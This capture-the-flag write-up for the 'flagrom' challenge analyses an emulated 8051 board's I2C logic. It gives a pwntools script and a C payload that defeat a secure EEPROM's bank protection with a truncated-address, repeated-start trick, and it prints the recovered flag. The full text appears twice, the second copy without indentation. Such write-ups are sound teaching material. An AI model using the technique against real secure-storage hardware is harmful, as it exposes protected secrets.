# Challenge Description  
This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored
there. Go and get it.

nc flagrom.ctfcompetition.com 1337

# Prep Work  
Lets start by seeing what the network service gives us upon connecting.

```  
$ nc flagrom.ctfcompetition.com 1337  
What's a printable string less than 64 bytes that starts with flagrom- whose
md5 starts with e3ae75?  
```

Seems like a proof of work.

After passing the proof of work, we are asked:  
```  
What's the length of your payload?  
```

The server expects an integer, followed by newline and a binary payload of the
size specified.

Lets script the interaction.  
Additionally, we patch the proof of work check out of the local binary for
rapid testing.

```python  
from pwn import *

local = False

def calc_pow(prefix):  
   prefix = prefix.decode('hex')  
   while True:  
       s = 'flagrom-{0}'.format(randoms(10))  
       if md5sum(s).startswith(prefix):  
           return s

if local:  
   s = process('./flagrom')  
else:  
   s = remote('flagrom.ctfcompetition.com', 1337)  
   l = s.recvline()  
   prefix = l[-8:-2]  
   proof = calc_pow(prefix)  
   s.sendline(proof)  
  
s.readuntil("What's the length of your payload?")

payload = open('payload.bin', 'rb').read()  
s.writeline(str(len(payload)))  
s.write(payload)  
s.stream()  
```

# Investigation

## The firmware  
We are given source code to the firmware that is executed before our payload,
along with a SystemVerilog description of the theoretical secure eeprom
device.

The eeprom device is 256 bytes large, with banks of 64 bytes that can be
secured to prevent reading.

The firmware writes a flag into address `64` of the eeprom and then secures
the corresponding bank to prevent the flag from being read back.  It then
writes a "welcome" message to address 0 of the eeprom (which is not secured),
presumably so we can sanity check our payload to ensure it is working
correctly.

The firmware makes use of some special function registers (SFR) beginning at
address `0xfe00` to allow the 8051 hardware to handle the minutiae of
interacting with the I2C bus, but we also have two interesting definitions in
the firmware source code that are unused.

```c  
__sfr __at(0xfa) RAW_I2C_SCL;  
__sfr __at(0xfb) RAW_I2C_SDA;  
```

This suggests we have direct access to twiddle the I2C lines ourselves.

## The I2C Protocol

The actual I2C protocol is somewhat hidden from view by use of the SFR block
at `0xfe00`, but we can reverse engineer some of the `flagrom` binary itself
to better understand it.  Helpfully, the binary appears to have symbols
included.

The most relevant function is `sfr_i2c_module` and the functions it calls
within.  
```c  
bool __fastcall sfr_i2c_module(void *emu, int access_type, int address_type,
unsigned __int8 a4, unsigned __int8 *value)  
{  
 bool result; // al  
 unsigned __int8 v7; // al  
 I2C_REG_BLOCK I2C; // [rsp+20h] [rbp-20h]  
 int direction; // [rsp+30h] [rbp-10h] MAPDST  
 int pos; // [rsp+34h] [rbp-Ch]  
 char success; // [rsp+3Bh] [rbp-5h]  
 int last_direction; // [rsp+3Ch] [rbp-4h]

 if ( access_type )  
 {  
   if ( *value & 1 )  
   {  
     emu8051::mem_read(emu, 2LL, 0xFE00LL, &I2C, 16LL);  
     if ( I2C.LENGTH <= 7u )  
     {  
       if ( I2C.LENGTH )  
       {  
         I2C.ADDR &= 0xFEu;  
         last_direction = 0;  
         success = 1;  
         pos = 0;  
         while ( I2C.LENGTH )  
         {  
           if ( ((signed int)I2C.RW_MASK >> pos) & 1 )  
             direction = 2;  
           else  
             direction = 1;  
           if ( direction != last_direction )  
           {  
             send_start(dev_i2c[0]);  
             send_byte(dev_i2c[0], I2C.ADDR | (direction == 2));  
             if ( !recv_ack(dev_i2c[0]) )  
             {  
               I2C.ERROR_CODE = 2;  
               success = 0;  
               break;  
             }  
             last_direction = direction;  
           }  
           if ( direction == 2 )  
           {  
             v7 = recv_byte(dev_i2c[0]);  
             I2C.DATA[pos] = v7;  
           }  
           else  
           {  
             send_byte(dev_i2c[0], I2C.DATA[pos]);  
           }  
           if ( !recv_ack(dev_i2c[0]) )  
           {  
             I2C.ERROR_CODE = 3;  
             success = 0;  
             break;  
           }  
           --I2C.LENGTH;  
           ++pos;  
         }  
         if ( success )  
           I2C.ERROR_CODE = 0;  
       }  
       else  
       {  
         send_start(dev_i2c[0]);  
         send_byte(dev_i2c[0], I2C.ADDR);  
         if ( recv_ack(dev_i2c[0]) )  
           I2C.ERROR_CODE = 0;  
         else  
           I2C.ERROR_CODE = 5;  
       }  
     }  
     else  
     {  
       I2C.ERROR_CODE = 1;  
     }  
     send_stop(dev_i2c[0]);  
     emu8051::mem_write(emu, 2LL, 65024LL, &I2C, 16LL);  
     result = 1;  
   }  
   else  
   {  
     result = 1;  
   }  
 }  
 else  
 {  
   *value = 0;  
   result = 1;  
 }  
 return result;  
}  
```

This function is called in response to read or write operations to the
`I2C_STATE` SFR at `0xfc`.  Writing a `1` to this location will trigger an I2C
operation based on the SFR block at `0xfe00`.

From this function we can see that at the lowest level an I2C transaction
looks like the following:  
1. send i2c start sequence  
2. send device address, lowest bit indicating transaction data direction  
3. receive ack  
4. send or receive byte, depending on transaction direction  
5. receive ack  
6. while there is more data: if direction is changing goto step 1, else goto step 4  
7. send i2c stop sequence

In order to read a byte of eeprom data from address `0`, our I2C traffic looks
like the following:  
- send i2c start sequence  
- send device address `SEEPROM_I2C_ADDR_MEMORY`  
- receive ack  
- send byte `0`  
- receive ack  
- send i2c start sequence  
- send device address `SEEPROM_I2C_ADDR_MEMORY | 1`  
- receive ack  
- receive byte  
- receive ack  
- send i2c stop sequence

One key observation about this traffic is that we send multiple i2c start
sequences without sending corresponding i2c stop sequences.

## The SystemVerilog

The verilog has a fair bit going on, but the only parts that are relevant for
us are those that are required to read a byte of the eeprom.

To start with, we have a register `i2c_state` which determines how the device
reacts to SCL rising edges.

We begin in `I2C_IDLE` and wait for the `i2c_start` wire to become hi, at
which point we transition to `I2C_START` state.  
```verilog  
I2C_IDLE: begin  
 if (i2c_start) begin  
   i2c_state <= I2C_START;  
 end  
end  
```

On the next SCL falling edge, we clear the `i2c_control_bits` and transition
to the `I2C_LOAD_CONTROL` state.  
```verilog  
I2C_START: begin  
 if (i2c_scl_state == I2C_SCL_FALLING) begin  
   i2c_control_bits <= 0;  
   i2c_state <= I2C_LOAD_CONTROL;  
 end  
end  
```

Once in this state, we accumulate bits into `i2c_control` on every SCL rising
edge until we have 8 bits.  
```verilog  
I2C_LOAD_CONTROL: begin  
 if (i2c_control_bits == 8) begin  
   ...  
 end else if (i2c_scl_state == I2C_SCL_RISING) begin  
   i2c_control <= {i2c_control[6:0], i_i2c_sda};  
   i2c_control_bits <= i2c_control_bits + 1;  
 end  
end  
```

At which point we switch on `i2c_control_prefix` to determine if we are
accessing eeprom bytes or updating the secure banks.  
```verilog  
case (i2c_control_prefix)  
 `I2C_CONTROL_EEPROM: begin  
   ...  
 end  
 `I2C_CONTROL_SECURE: begin  
   ...  
 end  
 default: begin  
   i2c_state <= I2C_NACK;  
 end  
endcase  
```

In the `I2C_CONTROL_EEPROM` case, we check the `i2c_control_rw` wire to
determine the transaction direction.  
In the write direction we clear `i2c_address_bits` and transition to the
`I2C_ACK_THEN_LOAD_ADDRESS` state.  
In the read direction we check `i2c_address_valid` and transition to the
`I2C_ACK_THEN_READ` state on success or `I2C_NACK` on failure.  
```verilog  
if (i2c_control_rw) begin  
 if (i2c_address_valid) begin  
   i2c_data_bits <= 0;  
   i2c_state <= I2C_ACK_THEN_READ;  
 end else begin  
   i2c_state <= I2C_NACK;  
 end  
end else begin  
 i2c_address_bits <= 0;  
 i2c_state <= I2C_ACK_THEN_LOAD_ADDRESS;  
end  
```

The `I2C_ACK_THEN_READ` and `I2C_ACK_THEN_LOAD_ADDRESS` states are
inconsequential; they simply send an ack and transition to the next state
(`I2C_READ` and `I2C_LOAD_ADDRESS` respectively).

The `I2C_LOAD_ADDRESS` state accumulates bits into `i2c_address` on each SCL
rising edge until 8 are received.  
```verilog  
if (i2c_address_bits == 8) begin  
 ...  
end else if (i2c_scl_state == I2C_SCL_RISING) begin  
 i2c_address <= {i2c_address[6:0], i_i2c_sda};  
 i2c_address_bits <= i2c_address_bits + 1;  
end  
```

At which point we verify the address is not secure, set `i2c_address_valid`,
and transition to `I2C_ACK_THEN_WRITE`.  
If the address is secure, `i2c_address_valid` is cleared and we transition to
`I2C_NACK`.  
```verilog  
if (i2c_address_secure) begin  
 i2c_address_valid <= 0;  
 i2c_state <= I2C_NACK;  
end else begin  
 i2c_data_bits <= 0;  
 i2c_address_valid <= 1;  
 i2c_state <= I2C_ACK_THEN_WRITE;  
end  
```

At this point if we were writing eeprom data `I2C_WRITE` would begin handling
bytes over i2c.  
Since we are reading eeprom data, we must start a new i2c transaction with the
`i2c_control_rw` bit set.  
In this transaction, the `I2C_LOAD_CONTROL` will verify that
`i2c_address_valid` is set before eventually transitioning us to `I2C_READ`
(through `I2C_ACK_THEN_READ`).

Interestingly, `i2c_address_valid` is cleared when an i2c stop sequence is
seen.  This explains why we see multiple start sequences without corresponding
stop sequences as noted earlier.

The `I2C_READ` state will clock out data one bit at a time until 8 bits have
been sent, at which point it increments `i2c_address` and prepares for another
byte to be transmitted.  However, this is only done if `i2c_address_secure ==
i2c_next_address_secure`.  
```verilog  
if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin  
 i2c_data_bits <= 0;  
 if (i2c_address_secure == i2c_next_address_secure) begin  
   i2c_address <= i2c_address + 1;  
   i2c_state <= I2C_ACK_THEN_READ;  
 end else begin  
   i2c_state <= I2C_NACK;  
 end  
end else if (i2c_scl_state == I2C_SCL_FALLING) begin  
 o_i2c_sda <= mem_storage[i2c_address][7 - i2c_data_bits[2:0]];  
 i2c_data_bits <= i2c_data_bits + 1;  
end  
```

At this point our goal is clear: somehow get `i2c_address_valid` to be set
when `i2c_address` contains the address of the flag data.

There is only one condition that will cause `i2c_address_valid` to be set  
- a SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits == 8` and `i2c_address_secure == 0`

There are two conditions that will cause `i2c_address_valid` to be cleared  
- an SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits == 8` and `i2c_address_secure == 1`  
- an i2c stop sequence

The second condition can be easily avoided - we simply never send an i2c stop
sequence.

We can cause `i2c_address_valid` to become set by performing a normal eeprom
read with an address that is not secure.  
Now we need to get the flag address into `i2c_address` without triggering the
first `i2c_address_valid` clearing condition.

Lets take a closer look at how `i2c_address` is filled.

While in `I2C_LOAD_ADDRESS` state every SCL rising edge will push the current
SDA state into the LSB of `i2c_address`, shifting the previous contents up by
one bit.  `i2c_address_bits` is also incremented by one.  
```verilog  
i2c_address <= {i2c_address[6:0], i_i2c_sda};  
i2c_address_bits <= i2c_address_bits + 1;  
```

What would happen if we only transmit 7 bits of data and then send an i2c
start condition to exit the `I2C_LOAD_ADDRESS` state?

The address we want to read is `64` which in binary would be `0b0100'0000`. We
must transmit data on the bus MSB first.  If we send `0b0100'000`
`i2c_address` would contain `0b?010'0000`, where `?` is the LSB of the value
it previously contained.

However, lets look at the specifics of an i2c start sequence.  
- SCL lo  
- SDA hi  
- SCL hi  
- SDA lo

We can see that this sequence begins with an SCL rising edge where the SDA bit
is hi.  These will be observed in the `I2C_LOAD_ADDRESS` just before the
transition to `I2C_START`.  Taking this into account our final `i2c_address`
value will become `0b0100'0001`, or `65`.  This is close enough for our needs,
since the first 4 bytes of the flag contents are well known.

Note that `I2C_LOAD_ADDRESS` will never observe `i2c_address_bits == 8`
because we transition away to the `I2C_START` state before another SCL rising
edge occurs.  This means that the upper 7 bits of `i2c_address` can be
controlled without triggering the `i2c_address_secure` checks.  This allows us
to begin reading at any odd address.  The behavior of the `I2C_READ` state
allows us to continue reading sequentially from this point as long as we do
not cross a secure to unsecure block boundary.

# Implementation

We will use the [sdcc](http://sdcc.sourceforge.net/) compiler to write our
payload.

## Makefile  
```make  
all:  
	sdcc payload.c  
	objcopy -I ihex -O binary payload.ihx payload.bin  
```

## Code  
```c  
__sfr __at(0xff) POWEROFF;  
__sfr __at(0xfd) CHAROUT;  
__xdata __at(0xff00) unsigned char FLAG[0x100];

__sfr __at(0xfa) RAW_I2C_SCL;  
__sfr __at(0xfb) RAW_I2C_SDA;

const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;

void print(const char *str) {  
 while (*str) {  
   CHAROUT = *str++;  
 }  
}

void send_start(void) {  
 RAW_I2C_SCL = 0;  
 RAW_I2C_SDA = 1;  
 RAW_I2C_SCL = 1;  
 RAW_I2C_SDA = 0;  
}

void send_byte(unsigned char byte) {  
 unsigned char i;

 for (i = 0; i < 8; i++) {  
   RAW_I2C_SCL = 0;  
   RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0;  
   RAW_I2C_SCL = 1;  
 }  
}

void send_7bit(unsigned char byte) {  
 unsigned char i;

 for (i = 1; i < 7; i++) {  
   RAW_I2C_SCL = 0;  
   RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0;  
   RAW_I2C_SCL = 1;  
 }  
}

unsigned char recv_byte(void) {  
 unsigned char ret = 0;  
 unsigned char i;

 for (i = 0; i < 8; i++) {  
   RAW_I2C_SCL = 0;  
   RAW_I2C_SCL = 1;  
   ret = 2 * ret | RAW_I2C_SDA;  
 }

 return ret;  
}

unsigned char recv_ack(void) {  
 RAW_I2C_SCL = 0;  
 RAW_I2C_SCL = 1;  
 return RAW_I2C_SDA ^ 1;  
}

void read_flag() {  
 unsigned char i;

 print("[PL] Reading flag...");

 // start a write transaction  
 send_start();  
 send_byte(SEEPROM_I2C_ADDR_MEMORY);  
 recv_ack();

 // send an unsecured address  
 send_byte(0);  
 recv_ack();

 // start a write transaction  
 send_start();  
 send_byte(SEEPROM_I2C_ADDR_MEMORY);  
 recv_ack();

 // send the upper 7 bits of the secured address  
 send_7bit(64);

 // start a new transaction, which shifts a 1 into the address lsb  
 send_start();

 // this is a read transaction  
 send_byte(SEEPROM_I2C_ADDR_MEMORY | 1);  
 recv_ack();

 // read the flag, starting from address 65  
 FLAG[0] = 'C';  
 for (i = 1; i < 64; i++) {  
   FLAG[i] = recv_byte();  
   recv_ack();  
 }

 print("DONE\n");  
}

void main(void) {  
 read_flag();

 print("[PL] Flag: ");  
 print(FLAG);  
 print("\n");

 POWEROFF = 1;  
}  
```

# Dumping the Flag  
Build the payload  
```  
$ make  
sdcc payload.c  
objcopy -I ihex -O binary payload.ihx payload.bin  
```

Run our script  
```  
$ python do.py  
[+] Opening connection to flagrom.ctfcompetition.com on port 1337: Done

Executing firmware...  
[FW] Writing flag to SecureEEPROM...............DONE  
[FW] Securing SecureEEPROM flag banks...........DONE  
[FW] Removing flag from 8051 memory.............DONE  
[FW] Writing welcome message to SecureEEPROM....DONE  
Executing usercode...  
[PL] Reading flag...DONE  
[PL] Flag: CTF{flagrom-and-on-and-on}

Clean exit.  
[*] Closed connection to flagrom.ctfcompetition.com port 1337  
```# Challenge Description  
This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored
there. Go and get it.

nc flagrom.ctfcompetition.com 1337

# Prep Work  
Lets start by seeing what the network service gives us upon connecting.

```  
$ nc flagrom.ctfcompetition.com 1337  
What's a printable string less than 64 bytes that starts with flagrom- whose
md5 starts with e3ae75?  
```

Seems like a proof of work.

After passing the proof of work, we are asked:  
```  
What's the length of your payload?  
```

The server expects an integer, followed by newline and a binary payload of the
size specified.

Lets script the interaction.  
Additionally, we patch the proof of work check out of the local binary for
rapid testing.

```python  
from pwn import *

local = False

def calc_pow(prefix):  
prefix = prefix.decode('hex')  
while True:  
s = 'flagrom-{0}'.format(randoms(10))  
if md5sum(s).startswith(prefix):  
return s

if local:  
s = process('./flagrom')  
else:  
s = remote('flagrom.ctfcompetition.com', 1337)  
l = s.recvline()  
prefix = l[-8:-2]  
proof = calc_pow(prefix)  
s.sendline(proof)  
  
s.readuntil("What's the length of your payload?")

payload = open('payload.bin', 'rb').read()  
s.writeline(str(len(payload)))  
s.write(payload)  
s.stream()  
```

# Investigation

## The firmware  
We are given source code to the firmware that is executed before our payload,
along with a SystemVerilog description of the theoretical secure eeprom
device.

The eeprom device is 256 bytes large, with banks of 64 bytes that can be
secured to prevent reading.

The firmware writes a flag into address `64` of the eeprom and then secures
the corresponding bank to prevent the flag from being read back. It then
writes a "welcome" message to address 0 of the eeprom (which is not secured),
presumably so we can sanity check our payload to ensure it is working
correctly.

The firmware makes use of some special function registers (SFR) beginning at
address `0xfe00` to allow the 8051 hardware to handle the minutiae of
interacting with the I2C bus, but we also have two interesting definitions in
the firmware source code that are unused.

```c  
__sfr __at(0xfa) RAW_I2C_SCL;  
__sfr __at(0xfb) RAW_I2C_SDA;  
```

This suggests we have direct access to twiddle the I2C lines ourselves.

## The I2C Protocol

The actual I2C protocol is somewhat hidden from view by use of the SFR block
at `0xfe00`, but we can reverse engineer some of the `flagrom` binary itself
to better understand it. Helpfully, the binary appears to have symbols
included.

The most relevant function is `sfr_i2c_module` and the functions it calls
within.  
```c  
bool __fastcall sfr_i2c_module(void *emu, int access_type, int address_type,
unsigned __int8 a4, unsigned __int8 *value)  
{  
bool result; // al  
unsigned __int8 v7; // al  
I2C_REG_BLOCK I2C; // [rsp+20h] [rbp-20h]  
int direction; // [rsp+30h] [rbp-10h] MAPDST  
int pos; // [rsp+34h] [rbp-Ch]  
char success; // [rsp+3Bh] [rbp-5h]  
int last_direction; // [rsp+3Ch] [rbp-4h]

if ( access_type )  
{  
if ( *value & 1 )  
{  
emu8051::mem_read(emu, 2LL, 0xFE00LL, &I2C, 16LL);  
if ( I2C.LENGTH <= 7u )  
{  
if ( I2C.LENGTH )  
{  
I2C.ADDR &= 0xFEu;  
last_direction = 0;  
success = 1;  
pos = 0;  
while ( I2C.LENGTH )  
{  
if ( ((signed int)I2C.RW_MASK >> pos) & 1 )  
direction = 2;  
else  
direction = 1;  
if ( direction != last_direction )  
{  
send_start(dev_i2c[0]);  
send_byte(dev_i2c[0], I2C.ADDR | (direction == 2));  
if ( !recv_ack(dev_i2c[0]) )  
{  
I2C.ERROR_CODE = 2;  
success = 0;  
break;  
}  
last_direction = direction;  
}  
if ( direction == 2 )  
{  
v7 = recv_byte(dev_i2c[0]);  
I2C.DATA[pos] = v7;  
}  
else  
{  
send_byte(dev_i2c[0], I2C.DATA[pos]);  
}  
if ( !recv_ack(dev_i2c[0]) )  
{  
I2C.ERROR_CODE = 3;  
success = 0;  
break;  
}  
\--I2C.LENGTH;  
++pos;  
}  
if ( success )  
I2C.ERROR_CODE = 0;  
}  
else  
{  
send_start(dev_i2c[0]);  
send_byte(dev_i2c[0], I2C.ADDR);  
if ( recv_ack(dev_i2c[0]) )  
I2C.ERROR_CODE = 0;  
else  
I2C.ERROR_CODE = 5;  
}  
}  
else  
{  
I2C.ERROR_CODE = 1;  
}  
send_stop(dev_i2c[0]);  
emu8051::mem_write(emu, 2LL, 65024LL, &I2C, 16LL);  
result = 1;  
}  
else  
{  
result = 1;  
}  
}  
else  
{  
*value = 0;  
result = 1;  
}  
return result;  
}  
```

This function is called in response to read or write operations to the
`I2C_STATE` SFR at `0xfc`. Writing a `1` to this location will trigger an I2C
operation based on the SFR block at `0xfe00`.

From this function we can see that at the lowest level an I2C transaction
looks like the following:  
1\. send i2c start sequence  
2\. send device address, lowest bit indicating transaction data direction  
3\. receive ack  
4\. send or receive byte, depending on transaction direction  
5\. receive ack  
6\. while there is more data: if direction is changing goto step 1, else goto
step 4  
7\. send i2c stop sequence

In order to read a byte of eeprom data from address `0`, our I2C traffic looks
like the following:  
\- send i2c start sequence  
\- send device address `SEEPROM_I2C_ADDR_MEMORY`  
\- receive ack  
\- send byte `0`  
\- receive ack  
\- send i2c start sequence  
\- send device address `SEEPROM_I2C_ADDR_MEMORY | 1`  
\- receive ack  
\- receive byte  
\- receive ack  
\- send i2c stop sequence

One key observation about this traffic is that we send multiple i2c start
sequences without sending corresponding i2c stop sequences.

## The SystemVerilog

The verilog has a fair bit going on, but the only parts that are relevant for
us are those that are required to read a byte of the eeprom.

To start with, we have a register `i2c_state` which determines how the device
reacts to SCL rising edges.

We begin in `I2C_IDLE` and wait for the `i2c_start` wire to become hi, at
which point we transition to `I2C_START` state.  
```verilog  
I2C_IDLE: begin  
if (i2c_start) begin  
i2c_state <= I2C_START;  
end  
end  
```

On the next SCL falling edge, we clear the `i2c_control_bits` and transition
to the `I2C_LOAD_CONTROL` state.  
```verilog  
I2C_START: begin  
if (i2c_scl_state == I2C_SCL_FALLING) begin  
i2c_control_bits <= 0;  
i2c_state <= I2C_LOAD_CONTROL;  
end  
end  
```

Once in this state, we accumulate bits into `i2c_control` on every SCL rising
edge until we have 8 bits.  
```verilog  
I2C_LOAD_CONTROL: begin  
if (i2c_control_bits == 8) begin  
...  
end else if (i2c_scl_state == I2C_SCL_RISING) begin  
i2c_control <= {i2c_control[6:0], i_i2c_sda};  
i2c_control_bits <= i2c_control_bits + 1;  
end  
end  
```

At which point we switch on `i2c_control_prefix` to determine if we are
accessing eeprom bytes or updating the secure banks.  
```verilog  
case (i2c_control_prefix)  
`I2C_CONTROL_EEPROM: begin  
...  
end  
`I2C_CONTROL_SECURE: begin  
...  
end  
default: begin  
i2c_state <= I2C_NACK;  
end  
endcase  
```

In the `I2C_CONTROL_EEPROM` case, we check the `i2c_control_rw` wire to
determine the transaction direction.  
In the write direction we clear `i2c_address_bits` and transition to the
`I2C_ACK_THEN_LOAD_ADDRESS` state.  
In the read direction we check `i2c_address_valid` and transition to the
`I2C_ACK_THEN_READ` state on success or `I2C_NACK` on failure.  
```verilog  
if (i2c_control_rw) begin  
if (i2c_address_valid) begin  
i2c_data_bits <= 0;  
i2c_state <= I2C_ACK_THEN_READ;  
end else begin  
i2c_state <= I2C_NACK;  
end  
end else begin  
i2c_address_bits <= 0;  
i2c_state <= I2C_ACK_THEN_LOAD_ADDRESS;  
end  
```

The `I2C_ACK_THEN_READ` and `I2C_ACK_THEN_LOAD_ADDRESS` states are
inconsequential; they simply send an ack and transition to the next state
(`I2C_READ` and `I2C_LOAD_ADDRESS` respectively).

The `I2C_LOAD_ADDRESS` state accumulates bits into `i2c_address` on each SCL
rising edge until 8 are received.  
```verilog  
if (i2c_address_bits == 8) begin  
...  
end else if (i2c_scl_state == I2C_SCL_RISING) begin  
i2c_address <= {i2c_address[6:0], i_i2c_sda};  
i2c_address_bits <= i2c_address_bits + 1;  
end  
```

At which point we verify the address is not secure, set `i2c_address_valid`,
and transition to `I2C_ACK_THEN_WRITE`.  
If the address is secure, `i2c_address_valid` is cleared and we transition to
`I2C_NACK`.  
```verilog  
if (i2c_address_secure) begin  
i2c_address_valid <= 0;  
i2c_state <= I2C_NACK;  
end else begin  
i2c_data_bits <= 0;  
i2c_address_valid <= 1;  
i2c_state <= I2C_ACK_THEN_WRITE;  
end  
```

At this point if we were writing eeprom data `I2C_WRITE` would begin handling
bytes over i2c.  
Since we are reading eeprom data, we must start a new i2c transaction with the
`i2c_control_rw` bit set.  
In this transaction, the `I2C_LOAD_CONTROL` will verify that
`i2c_address_valid` is set before eventually transitioning us to `I2C_READ`
(through `I2C_ACK_THEN_READ`).

Interestingly, `i2c_address_valid` is cleared when an i2c stop sequence is
seen. This explains why we see multiple start sequences without corresponding
stop sequences as noted earlier.

The `I2C_READ` state will clock out data one bit at a time until 8 bits have
been sent, at which point it increments `i2c_address` and prepares for another
byte to be transmitted. However, this is only done if `i2c_address_secure ==
i2c_next_address_secure`.  
```verilog  
if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin  
i2c_data_bits <= 0;  
if (i2c_address_secure == i2c_next_address_secure) begin  
i2c_address <= i2c_address + 1;  
i2c_state <= I2C_ACK_THEN_READ;  
end else begin  
i2c_state <= I2C_NACK;  
end  
end else if (i2c_scl_state == I2C_SCL_FALLING) begin  
o_i2c_sda <= mem_storage[i2c_address][7 - i2c_data_bits[2:0]];  
i2c_data_bits <= i2c_data_bits + 1;  
end  
```

At this point our goal is clear: somehow get `i2c_address_valid` to be set
when `i2c_address` contains the address of the flag data.

There is only one condition that will cause `i2c_address_valid` to be set  
\- a SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits
== 8` and `i2c_address_secure == 0`

There are two conditions that will cause `i2c_address_valid` to be cleared  
\- an SCL rising edge while in `I2C_LOAD_ADDRESS` state with `i2c_address_bits
== 8` and `i2c_address_secure == 1`  
\- an i2c stop sequence

The second condition can be easily avoided - we simply never send an i2c stop
sequence.

We can cause `i2c_address_valid` to become set by performing a normal eeprom
read with an address that is not secure.  
Now we need to get the flag address into `i2c_address` without triggering the
first `i2c_address_valid` clearing condition.

Lets take a closer look at how `i2c_address` is filled.

While in `I2C_LOAD_ADDRESS` state every SCL rising edge will push the current
SDA state into the LSB of `i2c_address`, shifting the previous contents up by
one bit. `i2c_address_bits` is also incremented by one.  
```verilog  
i2c_address <= {i2c_address[6:0], i_i2c_sda};  
i2c_address_bits <= i2c_address_bits + 1;  
```

What would happen if we only transmit 7 bits of data and then send an i2c
start condition to exit the `I2C_LOAD_ADDRESS` state?

The address we want to read is `64` which in binary would be `0b0100'0000`. We
must transmit data on the bus MSB first. If we send `0b0100'000` `i2c_address`
would contain `0b?010'0000`, where `?` is the LSB of the value it previously
contained.

However, lets look at the specifics of an i2c start sequence.  
\- SCL lo  
\- SDA hi  
\- SCL hi  
\- SDA lo

We can see that this sequence begins with an SCL rising edge where the SDA bit
is hi. These will be observed in the `I2C_LOAD_ADDRESS` just before the
transition to `I2C_START`. Taking this into account our final `i2c_address`
value will become `0b0100'0001`, or `65`. This is close enough for our needs,
since the first 4 bytes of the flag contents are well known.

Note that `I2C_LOAD_ADDRESS` will never observe `i2c_address_bits == 8`
because we transition away to the `I2C_START` state before another SCL rising
edge occurs. This means that the upper 7 bits of `i2c_address` can be
controlled without triggering the `i2c_address_secure` checks. This allows us
to begin reading at any odd address. The behavior of the `I2C_READ` state
allows us to continue reading sequentially from this point as long as we do
not cross a secure to unsecure block boundary.

# Implementation

We will use the [sdcc](http://sdcc.sourceforge.net/) compiler to write our
payload.

## Makefile  
```make  
all:  
sdcc payload.c  
objcopy -I ihex -O binary payload.ihx payload.bin  
```

## Code  
```c  
__sfr __at(0xff) POWEROFF;  
__sfr __at(0xfd) CHAROUT;  
__xdata __at(0xff00) unsigned char FLAG[0x100];

__sfr __at(0xfa) RAW_I2C_SCL;  
__sfr __at(0xfb) RAW_I2C_SDA;

const SEEPROM_I2C_ADDR_MEMORY = 0b10100000;

void print(const char *str) {  
while (*str) {  
CHAROUT = *str++;  
}  
}

void send_start(void) {  
RAW_I2C_SCL = 0;  
RAW_I2C_SDA = 1;  
RAW_I2C_SCL = 1;  
RAW_I2C_SDA = 0;  
}

void send_byte(unsigned char byte) {  
unsigned char i;

for (i = 0; i < 8; i++) {  
RAW_I2C_SCL = 0;  
RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0;  
RAW_I2C_SCL = 1;  
}  
}

void send_7bit(unsigned char byte) {  
unsigned char i;

for (i = 1; i < 7; i++) {  
RAW_I2C_SCL = 0;  
RAW_I2C_SDA = ((byte >> (7 - i)) & 1) != 0;  
RAW_I2C_SCL = 1;  
}  
}

unsigned char recv_byte(void) {  
unsigned char ret = 0;  
unsigned char i;

for (i = 0; i < 8; i++) {  
RAW_I2C_SCL = 0;  
RAW_I2C_SCL = 1;  
ret = 2 * ret | RAW_I2C_SDA;  
}

return ret;  
}

unsigned char recv_ack(void) {  
RAW_I2C_SCL = 0;  
RAW_I2C_SCL = 1;  
return RAW_I2C_SDA ^ 1;  
}

void read_flag() {  
unsigned char i;

print("[PL] Reading flag...");

// start a write transaction  
send_start();  
send_byte(SEEPROM_I2C_ADDR_MEMORY);  
recv_ack();

// send an unsecured address  
send_byte(0);  
recv_ack();

// start a write transaction  
send_start();  
send_byte(SEEPROM_I2C_ADDR_MEMORY);  
recv_ack();

// send the upper 7 bits of the secured address  
send_7bit(64);

// start a new transaction, which shifts a 1 into the address lsb  
send_start();

// this is a read transaction  
send_byte(SEEPROM_I2C_ADDR_MEMORY | 1);  
recv_ack();

// read the flag, starting from address 65  
FLAG[0] = 'C';  
for (i = 1; i < 64; i++) {  
FLAG[i] = recv_byte();  
recv_ack();  
}

print("DONE\n");  
}

void main(void) {  
read_flag();

print("[PL] Flag: ");  
print(FLAG);  
print("\n");

POWEROFF = 1;  
}  
```

# Dumping the Flag  
Build the payload  
```  
$ make  
sdcc payload.c  
objcopy -I ihex -O binary payload.ihx payload.bin  
```

Run our script  
```  
$ python do.py  
[+] Opening connection to flagrom.ctfcompetition.com on port 1337: Done

Executing firmware...  
[FW] Writing flag to SecureEEPROM...............DONE  
[FW] Securing SecureEEPROM flag banks...........DONE  
[FW] Removing flag from 8051 memory.............DONE  
[FW] Writing welcome message to SecureEEPROM....DONE  
Executing usercode...  
[PL] Reading flag...DONE  
[PL] Flag: CTF{flagrom-and-on-and-on}

Clean exit.  
[*] Closed connection to flagrom.ctfcompetition.com port 1337  
```